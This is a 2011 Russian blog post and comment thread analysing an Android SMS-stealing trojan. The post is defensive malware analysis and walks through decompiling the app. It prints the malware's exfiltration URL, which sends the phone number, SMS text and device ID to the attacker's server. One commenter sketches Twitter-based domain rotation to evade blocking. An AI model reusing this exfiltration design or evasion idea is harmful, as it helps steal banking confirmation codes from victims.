Пользователь
0,0
рейтинг
16 сентября 2011 в 11:42

Администрирование → Разбор вредоносной программы под Android на примере Trojan-Spy.AndroidOS.Zbot.a / Android.Smssniffer / Android/SpySMS / AndroidOS_SMSREP.B из песочницы

Содержание топика можно представить в таком виде:

1. Общая информация об APK-файлах
2. Разбор вредоноса
2.1 Утилиты для разбора
2.2 Разбор

1. Информация об APK-файлах


Для того, чтобы лучше понять особенности исследования вредоносных программ под Android необходимо сначала разобраться с тем, что такое APK-файлы. Если вам это уже известно, то можете сразу переходить ко второй части.

Программы под Android распространяются в архивах. Эти архивы имеют расширение ".apk". Такие файлы не шифруются и являются совместимыми с форматом «zip», фактически являясь его подмножеством.

Так как пользовательские приложения для Android выполняются в java-машине, то APK-файлы наследуют все характерные черты JAR-файлов.

Содержимое архива обычно выглядит примерно так:

image

Каталог META-INF содержит:

CERT.RSA — сертификат приложения
CERT.SF — контрольные суммы файлов ресурсов (картинок, звуков и т.д.)
MANIFEST.MF — служебная информация, описывающая сам apk-файл

Каталог res содержит ресурсы — иконки в нескольких разрешениеях, описание размещения элементов на форме в xml-файле.

AndroidManifest.xml — служебная информация о приложении (версия SDK, которым приложение создавалось, версию ОС под которой приложение будет работать и т.д.). В этом файле содержатся и так называемые «permission» — разрешения, которые требуются для работы приложения (например, доступ к сети или доступ к телефонной книге).

classes.dex — исполняемый код приложения. Именно этот файл интересует нас в первую очередь

resources.arsc — таблица ресурсов. В этом файле собраны xml-описания всех ресурсов

Вот и вся краткая информация, которую нужно знать, приступая к разбору вредоносных программ под Android.

2. Разбор вредоноса


В качестве примера мы выбрали экземпляр, который детектируется разными антивирусами как:

Trojan-Spy.AndroidOS.Zbot.a
Android.Smssniffer
Android/SpySMS
AndroidOS_SMSREP.B

Больше результатов сканирования — www.virustotal.com/file-scan/report.html?id=f6239ba0487ffcf4d09255dba781440d2600d3c509e66018e6a5724912df34a9-1310615090

Итак, у нас есть файл suspicious.apk. Что же с ним делать?

2.1 Утилиты для разбора

Потребуются такие утилиты:

Android SDK
Конвертер dex- и apk-файлов в jar «dex2jar»
Декомпилятор байт-кода Java (jar-файлов) в понятный вид

Все утилиты доступны для свободного скачивания и являются кроссплатформенными, так что вы сможете выполнять все действия и в Windows и в Linux.

2.2 Разбор

В самом начале, для того, чтобы лучше понять, что именно искать нужно проанализировать файл «AndroidManifest.xml» — посмотреть, какие именно разрешения-permissions требуются анализируемому приложению. Данный файл бинарный, а не обычный текстовый xml. Для того, чтобы его прочитать нужно воспользоваться консольной утилитой «aapt» из комплекта Android SDK. Она находится в каталоге «platform-tools». Так как графического интерфейса нет, то команду нужно вводить в консоли. Например, для Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Разумеется, вы должны подставить свои пути. В Linux команда будет такой же с очевидными отличиями (не будет букв дисков и расширения «exe» у утилиты). Для большего удобства вывод можно перенаправить в файл:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

В файле нужно найти секцию «Android manifest» и искать перечисление разрешений. В анализируемом файле это выглядит так:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE")
"android.permission.INTERNET" (Raw: "android.permission.INTERNET")
"android.permission." (Raw: "android.permission.RECEIVE_SMS")


Из этой информации становится понятно, что программа может получать состояние телефона (сюда включаются, например «телефон в режиме вызова», «телефон в режиме принятия данных» полный список состояний — developer.android.com/reference/android/telephony/TelephonyManager.html, это разрешение нужно и для получения номера телефона, на котором запущена программа), работать с сетью и мониторить приход СМС. На этих аспектах и нужно сосредоточить внимание при дальнейшем анализе.

Для того, чтобы получить доступ к коду нужно выполнить два шага — преобразовать apk-файл в jar-файл и декомпилировать полученный байткод в более понятный для человека вид.

Воспользуемся конвертером «dex2jar»:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Сконвертированный файл будет находится в том же каталоге, что и оригинальный файл. К его имени будет добавлено ".dex2jar.jar", то есть в данном примере это будет «suspicious.apk.dex2jar.jar».

Этот файл можно открыть декомпилятором. Иерархия пакета в окне декомпилятора выглядит так:

image

На этом подготовительные шаги, поддающиеся легкому описанию, заканчиваются — дальнейший успех зависит только от вашего знания java и умения пользоваться поисковиком.

К счастью, экземпляр выбранный для примера имеет довольно скромные размеры — финальный jar всего 7,01 KB.

В программе всего шесть классов. Исключим те, которые не представляют интереса. Это класс R, в котором только перечислены идентификаторы всех ресурсов. Так же из рассмотрения можно исключить класс Config, в котором содержится конфигурация билда.

Рассмотрим подробнее оставшиеся три класса.

Activation

image

Этот класс срабатывает по событию onCreate, то есть сразу после старта приложения.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone"); — создает структуру localTelephonyManager, в которую помещает данные об устройстве

str1 = localTelephonyManager.getDeviceId(); — выбирает из полученных данных идентификационный номер устройства и помещает его в строку str1

Дальше идет цикл, который делит DeviceId на кусочки по четыре цифры, вставляя между ними дефис "-", то есть из XXXXXXXXXXXXXXXX получается XXXX-XXXX-XXXX-XXXX. Полученную строку цифр и дефисов передают в TextView с идентификатором 2131034112.

SmsReciever

image

Этот класс срабатывает при приходе СМС-сообщения, событие onReceive.

В задачу этого класса входит отслеживать входящие смс и в случае обнаружения запускать класс MainService, передавая ему указатель на новопришедшее сообщение.

MainService

Этот класс довольно велик, поэтому не стану приводить его целиком. Сразу после вызова запускает субкласс «SmsBlockerThread», который блокирует уведомление о поступившем СМС, чтобы пользователь не был оповещен о новом входящем СМС.

Затем входящее СМС обрабатывается таким образом:

image

String str1 = localSmsMessage.getOriginatingAddress(); — номер телефона-получателя (то есть номер телефона, на котором установлен троянец) помещается в переменную str1

String str2 = localSmsMessage.getMessageBody(); — тело сообщения помещается в переменную str2

Затем создаются связанные пары localBasicNameValuePair1 и localBasicNameValuePair2 в которые помещаются значения

f0=<номер телефона>
b0=<текст сообщения>

Эти пары сохраняют в массив localArrayList, в который позже добавляют пару localBasicNameValuePair3, представляющую собой

id=<id устройства>

image

При этом, как видите, DeviceId получается заново, а не используется то, что было получено в классе Activation.

Заканчивается все тем, что вызывается метод postRequest из последнего класса ServerSession:

image

В качестве параметра передается тот самый массив пар, в котором номер телефона, содержимое СМС и идентификатор устройства.

ServerSession

Этот класс имеет два метода: initUrl, который возвращает часть ссылки "(http://softthrifty.com/security.jsp)":

image

и большой метод postRequest, который вызывался из класса MainService. Несмотря на размер, задача postRequest проста — отправить на сервер по ссылке, возвращаемой методом initUrl, данные, добавив пары из массива, собранного в MainService. То есть всего лишь обратиться по ссылке:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id=<id устройства>)

Итог


Итак, данный троянец перехватывает СМС и отправляет на сервер запрос, в котором передает номер зараженного телефона, содержимое СМС и идентификатор зараженного телефона. Такое поведение может быть признаком банковского троянца, атакующего двухфакторную авторизацию. Такое же поведение было свойственно образцам Zbot для мобильной платформы Symbian. Для успешной атаки требуется выполнение таких условий:

1) злоумышленник должен заразить компьютер жертвы, чтобы перехватить данные для он-лайн банкинга;
2) злоумышленник должен заразить телефон жертвы для перехвата СМС с кодом подтверждения от банка;
3) злоумышленник должен каким-то образом связать пользователя зараженного компьютера и зараженного телефона, чтобы знать, от каких учетных данных он-лайн банкинга данный код подтверждения;

Не знаю на сколько реальную угрозу представляют такие вредоносы, но в силу своих размеров и очевидности производимой деятельности такой образец хорошо подходит для демонстрации базовых приемов разбора вредоносных программ под Андроид.
@dimakey
карма
4,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Администрирование

Комментарии (23)

  • 0
    Блокировка домена нейтрализует такой троян 100%

    Спасибо за статью, познавательно
    • 0
      Отлично. Забаните этот домен — и что?

      Скомпрометируют разработчика популярной игры, например Angry Birds, и выкатят обновление с трояном.
      Причем для Angry Birds нужно еще только одно разрешение — получать SMS.
      • 0
        Статья понравилась, на счет бана домена, можно добавить функционал динамического домена, через тот-же twitter, вирус идет на twitter, читает последнее зашифрованное сообщение (в зашифровоном сообщении указан домен), проверять twitter на новые сообщение с доменом с указанным интервалом. Намного лучше будет смотреться, вероятность то что забанят аккаунт на twitter'e (не забанят, им все равно) намного меньше, чем забанят домен.
      • 0
        Подробнее можно? Приложение не обновится, если обновление подписано другим сертификатом. Проверять сертификат (отпечаток) можно из кода (в т.ч другой программы, только требуется разрешение на это). Или вы что-то другое имели ввиду?
        • 0
          А кто сказал что другим сертификатом подписывать будут?

          При большом желании, и достаточном количестве денег — получат и сертификаты и прочее.
          «Случайно» украдут сертификат и пароли, или под пытками выбью (ну я и закрутил).

          У маркета ведь нету пре-модерации после обновления, верно?
  • +1
    «злоумышленник должен каким-то образом связать пользователя зараженного компьютера и зараженного телефона»
    а социальные сети зачем
  • 0
    А реально сделать приложение, которое будет блокировать попытки отправить смс другими приложениями?
    • 0
      В стоковых прошивках — не знаю, а вот в китайской MIUI такая фича из коробки. Она на подобные разрешения выдает запрос: разрешить/запретить.
    • –2
      Это реально блокируется на уровне оператора.
      А чтоб совсем не отправлялись, можно удалить еще и смс-центр.
      А самое главное ставить программы только из маркета.

      Это все правила, которые я выполняю, не прикословно.
      • +1
        Ваш оператор контроллирует приложения на вашем телефоне? Можно название и принцип действия?
        • +1
          В личном кабинете Мегафона запретил все платные номера. Теперь с моего номера нельзя позвонить или отправить смс на платные(короткие) номера.
          • 0
            Гм, а вот это интересный подход, спасибо.
  • 0
    В Андройде давно пора реализовать частичный запрет/разрешение доступа к функциям телефона. Типа Файервола… Который дает доступ программе на один IP доступ и даже порт…

    А вот пример, в HTC Sens на HTC htc incredible, есть программа «ПОЧТА», она вшита в прошивку и ее нельзя удалить. Но если посмотреть ее права, то можно увидеть, что у почты есть доступ к СМС/ММС и отправке платных СМС. Вот вопрос, зачем?

    • 0
      Удалить можно. Если рутануть девайс и дать права специальным прогам. Вообщем, гемморой, учитывая, что многие НТС-девайсы идут с защитой от получения рута. Пользуйтесь антивирусами, правда сложно сказать насколько они эффективны.
  • –2
    Вообще, вся эта шумиха на счет троянов и т.п. на дроиде, на мой взгляд — преувеличение. Если вы знаете свой девайс, программы, которые могут быть полезны, то ничего такого не случится. Просто нужно почитать ресурсы хотя бы, а не спешить с покупкой и танцами вокруг девайса.

    Я сколько не качал с маркета программки и сколько не брал готовые апки с сайтов — ничего не случилось. Никаких вирей и прочей нечисти. Кстати, возможно причина всех траблов — это рутованый девайс. Так попроще явно.
    • 0
      Рутованый девайс не дает возможности игнорировать систему разрешений при установке, при чем тут это тогда?
      • –1
        А систему разрешений кто-то читает когда ставит программы из маркета? Редко редко. Ага, особенно девушки, да?
        И при чем тут система разрешений? Ты ставишь программу — значит разрешаешь ей все. А если текст разрешений спрятан или большой, то тем более всем влом будет ее читать.

        Рутованый девайс позволяет например удалить программы вшитые в трубку производителем(не всегда), менять некоторые изначально недоступные опции девайса, появляются доп настройки и возможности которых нет.

        Погуглите и найдете много нового, ибо тут многое зависит от конкретного производителя.
        • 0
          Вопрос не в этом, а в том как конкретно доступ к руту может способствовать появлению подобных вирусов из апк, не надо мне объяснять что он дает, пожалуйста.
          • –2
            Что непонятного?
            Новые возможности появляются, которые можно использовать, ибо сделать можно чуть больше чем раньше.

            А вообще, это было мое предположение в самом первом комменте и не более. Я не утверждал, что это 100% проверенная инфа, а предположил. Думаю теперь вопросов нет.
            • +3
              Жесть.
              Вы победили.
              • –3
                Чтобы не обижались:) +1 Вам:)
  • 0
    «Такое поведение может быть признаком банковского троянца, атакующего двухфакторную авторизацию»
    А еще, таким вот нехитрым образом, можно подписать человека на увлекательную рассылку — «диета от малышевой» или «тайна твоей фамилии» всего за пару сотен рублей в неделю.
  • 0
    Вот он конец смс верификации новых учётных записей.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.